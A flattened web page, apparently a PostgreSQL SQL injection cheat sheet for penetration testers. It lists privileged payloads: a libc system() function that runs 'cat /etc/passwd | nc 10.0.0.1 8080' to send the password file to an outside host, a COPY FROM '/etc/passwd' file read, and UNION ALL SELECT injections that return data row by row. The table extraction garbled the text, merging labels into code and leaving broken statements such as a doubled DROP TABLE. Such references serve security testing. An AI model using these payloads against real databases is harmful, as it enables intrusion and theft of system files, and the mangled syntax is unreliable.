Postgres SQL Injection Cheat Sheet
Postgres SQL Injection Cheat Sheet
Some useful syntax reminders for SQL Injection into PostgreSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to
tabulate the data to make it easier to read and to use the same table for for each database
backend. This helps to highlight any features which are lacking for each database, and
enumeration techniques that don’t apply and also areas that I haven’t got round to
researching yet.
Some of the queries in the table below can only be run by an admin. These are marked with
“– priv” at the end of the query.
Alternatively, if you have DBA rights you could run an OS-level command
(see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
Command ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT
Execution system(‘cat /etc/passwd | nc 10.0.0.1 8080’); — priv, commands run as
postgres/pgsql OS-level user
Local File Access CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are
readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data
back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data
back one row at a time …
DROP TABLE mytest mytest;Write to a file: